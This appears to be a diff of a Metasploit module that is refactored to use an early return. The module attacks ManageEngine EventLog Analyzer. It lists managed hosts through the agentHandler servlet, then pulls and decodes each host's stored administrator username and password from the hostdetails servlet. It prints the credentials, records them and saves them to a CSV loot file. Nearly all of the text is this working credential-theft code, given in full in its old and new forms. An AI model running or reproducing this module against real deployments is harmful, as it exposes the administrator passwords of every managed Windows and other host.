@@ -67,124 +67,125 @@ def run
67
67
}
68
68
} )
69
69
70
- if res && res . code == 200
71
- # When passwords have digits the XML parsing will fail.
72
- # Replace with an empty password attribute so that we know the device has a password
73
- # and therefore we want to add it to our host list.
74
- xml = res . body . to_s . gsub ( /&#[0-9]*;/ , Rex ::Text . rand_text_alpha ( 6 ) )
75
- begin
76
- doc = REXML ::Document . new ( xml )
77
- rescue
78
- fail_with ( Failure ::Unknown , "#{ peer } - Error parsing the XML, dumping output #{ xml } " )
70
+ unless res && res . code == 200
71
+ print_error ( "#{ peer } - Failed to reach agentHandler servlet" )
72
+ return
73
+ end
74
+
75
+ # When passwords have digits the XML parsing will fail.
76
+ # Replace with an empty password attribute so that we know the device has a password
77
+ # and therefore we want to add it to our host list.
78
+ xml = res . body . to_s . gsub ( /&#[0-9]*;/ , Rex ::Text . rand_text_alpha ( 6 ) )
79
+ begin
80
+ doc = REXML ::Document . new ( xml )
81
+ rescue
82
+ fail_with ( Failure ::Unknown , "#{ peer } - Error parsing the XML, dumping output #{ xml } " )
83
+ end
84
+ slid_host_ary = [ ]
85
+ doc . elements . each ( 'Details/HostDetails' ) do |ele |
86
+ if ele . attributes [ "password" ] != nil
87
+ # If an element doesn't have a password, then we don't care about it.
88
+ # Otherwise store the slid and host_id to use later.
89
+ slid_host_ary << [ ele . attributes [ "slid" ] , ele . attributes [ "host_id" ] ]
79
90
end
80
- slid_host_ary = [ ]
81
- doc . elements . each ( 'Details/HostDetails' ) do |ele |
82
- if ele . attributes [ "password" ] != nil
83
- # If an element doesn't have a password, then we don't care about it.
84
- # Otherwise store the slid and host_id to use later.
85
- slid_host_ary << [ ele . attributes [ "slid" ] , ele . attributes [ "host_id" ] ]
91
+ end
92
+
93
+ cred_table = Rex ::Ui ::Text ::Table . new (
94
+ 'Header' => 'ManageEngine EventLog Analyzer Managed Devices Credentials' ,
95
+ 'Indent' => 1 ,
96
+ 'Columns' =>
97
+ [
98
+ 'Host' ,
99
+ 'Type' ,
100
+ 'SubType' ,
101
+ 'Domain' ,
102
+ 'Username' ,
103
+ 'Password' ,
104
+ ]
105
+ )
106
+
107
+ slid_host_ary . each do |host |
108
+ res = send_request_cgi ( {
109
+ 'uri' => normalize_uri ( target_uri . path , "hostdetails" ) ,
110
+ 'method' => 'GET' ,
111
+ 'vars_get' => {
112
+ 'slid' => host [ 0 ] ,
113
+ 'hostid' => host [ 1 ]
114
+ }
115
+ } )
116
+
117
+ if res && res . code == 200
118
+ begin
119
+ doc = REXML ::Document . new ( res . body )
120
+ rescue
121
+ fail_with ( Failure ::Unknown , "#{ peer } - Error parsing the XML, dumping output #{ res . body . to_s } " )
86
122
end
87
- end
123
+ doc . elements . each ( 'Details/Hosts' ) do |ele |
124
+ # Add an empty string if a variable doesn't exist, we have to check it
125
+ # somewhere and it's easier to do it here.
126
+ dns_name = ( ele . attributes [ "dns_name" ] != nil ? ele . attributes [ "dns_name" ] : "" )
127
+ host_ipaddress = ( ele . attributes [ "host_ipaddress" ] != nil ? ele . attributes [ "host_ipaddress" ] : "" )
128
+
129
+ ele . elements . each ( 'HostDetails' ) do |details |
130
+ domain_name = ( details . attributes [ "domain_name" ] != nil ? details . attributes [ "domain_name" ] : "" )
131
+ username = ( details . attributes [ "username" ] != nil ? details . attributes [ "username" ] : "" )
132
+ password_encoded = ( details . attributes [ "password" ] != nil ? details . attributes [ "password" ] : "" )
133
+ password = decode_password ( password_encoded )
134
+ type = ( details . attributes [ "type" ] != nil ? details . attributes [ "type" ] : "" )
135
+ subtype = ( details . attributes [ "subtype" ] != nil ? details . attributes [ "subtype" ] : "" )
136
+
137
+ if not ( type =~ /Windows/ or subtype =~ /Windows/ )
138
+ # With AS/400 we get some garbage in the domain name even though it doesn't exist
139
+ domain_name = ""
140
+ end
88
141
89
- cred_table = Rex ::Ui ::Text ::Table . new (
90
- 'Header' => 'ManageEngine EventLog Analyzer Managed Devices Credentials' ,
91
- 'Indent' => 1 ,
92
- 'Columns' =>
93
- [
94
- 'Host' ,
95
- 'Type' ,
96
- 'SubType' ,
97
- 'Domain' ,
98
- 'Username' ,
99
- 'Password' ,
100
- ]
101
- )
102
-
103
- slid_host_ary . each do |host |
104
- res = send_request_cgi ( {
105
- 'uri' => normalize_uri ( target_uri . path , "hostdetails" ) ,
106
- 'method' => 'GET' ,
107
- 'vars_get' => {
108
- 'slid' => host [ 0 ] ,
109
- 'hostid' => host [ 1 ]
110
- }
111
- } )
112
-
113
- if res && res . code == 200
114
- begin
115
- doc = REXML ::Document . new ( res . body )
116
- rescue
117
- fail_with ( Failure ::Unknown , "#{ peer } - Error parsing the XML, dumping output #{ res . body . to_s } " )
118
- end
119
- doc . elements . each ( 'Details/Hosts' ) do |ele |
120
- # Add an empty string if a variable doesn't exist, we have to check it
121
- # somewhere and it's easier to do it here.
122
- dns_name = ( ele . attributes [ "dns_name" ] != nil ? ele . attributes [ "dns_name" ] : "" )
123
- host_ipaddress = ( ele . attributes [ "host_ipaddress" ] != nil ? ele . attributes [ "host_ipaddress" ] : "" )
124
-
125
- ele . elements . each ( 'HostDetails' ) do |details |
126
- domain_name = ( details . attributes [ "domain_name" ] != nil ? details . attributes [ "domain_name" ] : "" )
127
- username = ( details . attributes [ "username" ] != nil ? details . attributes [ "username" ] : "" )
128
- password_encoded = ( details . attributes [ "password" ] != nil ? details . attributes [ "password" ] : "" )
129
- password = decode_password ( password_encoded )
130
- type = ( details . attributes [ "type" ] != nil ? details . attributes [ "type" ] : "" )
131
- subtype = ( details . attributes [ "subtype" ] != nil ? details . attributes [ "subtype" ] : "" )
132
-
133
- if not ( type =~ /Windows/ or subtype =~ /Windows/ )
134
- # With AS/400 we get some garbage in the domain name even though it doesn't exist
135
- domain_name = ""
136
- end
137
-
138
- msg = "Got login to #{ host_ipaddress } | running "
139
- msg << type << ( subtype != "" ? " | #{ subtype } " : "" )
140
- msg << " | username: "
141
- msg << ( domain_name != "" ? "#{ domain_name } \\ #{ username } " : username )
142
- msg << " | password: #{ password } "
143
- print_good ( msg )
144
-
145
- cred_table << [ host_ipaddress , type , subtype , domain_name , username , password ]
146
-
147
- credential_core = report_credential_core ( {
148
- password : password ,
149
- username : username ,
150
- } )
151
-
152
- begin
153
- host_login_data = {
154
- address : host_ipaddress ,
155
- service_name : type ,
156
- workspace_id : myworkspace_id ,
157
- protocol : 'tcp' ,
158
- port : 0 , # can be any port, so just set to 0 else the cred api screams
159
- core : credential_core ,
160
- status : Metasploit ::Model ::Login ::Status ::UNTRIED
161
- }
162
- create_credential_login ( host_login_data )
163
- end
142
+ msg = "Got login to #{ host_ipaddress } | running "
143
+ msg << type << ( subtype != "" ? " | #{ subtype } " : "" )
144
+ msg << " | username: "
145
+ msg << ( domain_name != "" ? "#{ domain_name } \\ #{ username } " : username )
146
+ msg << " | password: #{ password } "
147
+ print_good ( msg )
148
+
149
+ cred_table << [ host_ipaddress , type , subtype , domain_name , username , password ]
150
+
151
+ credential_core = report_credential_core ( {
152
+ password : password ,
153
+ username : username ,
154
+ } )
155
+
156
+ begin
157
+ host_login_data = {
158
+ address : host_ipaddress ,
159
+ service_name : type ,
160
+ workspace_id : myworkspace_id ,
161
+ protocol : 'tcp' ,
162
+ port : 0 , # can be any port, so just set to 0 else the cred api screams
163
+ core : credential_core ,
164
+ status : Metasploit ::Model ::Login ::Status ::UNTRIED
165
+ }
166
+ create_credential_login ( host_login_data )
164
167
end
165
168
end
166
- else
167
- print_error ( "#{ peer } - Failed to reach hostdetails servlet" )
168
169
end
170
+ else
171
+ print_error ( "#{ peer } - Failed to reach hostdetails servlet" )
169
172
end
170
-
171
- print_line
172
- print_line ( "#{ cred_table } " )
173
- loot_name = 'manageengine.eventlog.managed_hosts.creds'
174
- loot_type = 'text/csv'
175
- loot_filename = 'manageengine_eventlog_managed_hosts_creds.csv'
176
- loot_desc = 'ManageEngine Eventlog Analyzer Managed Hosts Administrator Credentials'
177
- p = store_loot (
178
- loot_name ,
179
- loot_type ,
180
- rhost ,
181
- cred_table . to_csv ,
182
- loot_filename ,
183
- loot_desc )
184
- print_status "Credentials saved in: #{ p } "
185
- else
186
- print_error ( "#{ peer } - Failed to reach agentHandler servlet" )
187
173
end
174
+
175
+ print_line
176
+ print_line ( "#{ cred_table } " )
177
+ loot_name = 'manageengine.eventlog.managed_hosts.creds'
178
+ loot_type = 'text/csv'
179
+ loot_filename = 'manageengine_eventlog_managed_hosts_creds.csv'
180
+ loot_desc = 'ManageEngine Eventlog Analyzer Managed Hosts Administrator Credentials'
181
+ p = store_loot (
182
+ loot_name ,
183
+ loot_type ,
184
+ rhost ,
185
+ cred_table . to_csv ,
186
+ loot_filename ,
187
+ loot_desc )
188
+ print_status "Credentials saved in: #{ p } "
188
189
end
189
190
190
191
0 commit comments